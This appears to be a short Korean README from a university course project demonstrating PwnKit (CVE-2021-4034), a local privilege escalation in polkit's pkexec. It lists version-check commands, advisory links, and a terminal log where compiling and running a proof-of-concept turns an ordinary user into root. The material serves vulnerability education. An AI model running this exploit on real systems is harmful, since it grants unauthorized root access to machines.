
소프트웨어 취약점 및 완화 대학 과정으로, 이 취약점으로 인한 악용과 수정 방법을 보여줍니다.
소프트웨어 취약점 및 완화 대학 프로젝트로, 이 취약점으로 인한 악용과 복구 방법을 보여주기 위한 것입니다. 이 실험에서는 실험에서 보여줄 Ubunto 16.04 LTS 및 Debian 10.1.0을 사용했습니다. 환경 설정은 필수적이었습니다. 작업 중인 버전이 취약한지 여부를 항상 확인해야 하기 때문입니다. 확인에 사용된 명령어 : dpkg -l | grep polkit, pkexec --version
PwnKit에 대한 PoC: polkit의 pkexec에서 발생하는 로컬 권한 상승 취약점 (CVE-2021-4034)
https://seclists.org/oss-sec/2022/q1/80
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
Debian 10 및 Ubunto 16.0.4에서 확인됨
user@debian:~$ grep PRETTY /etc/os-release
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
user@debian:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
user@debian:~$ gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
user@debian:~$ ./cve-2021-4034-poc
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),1000(user)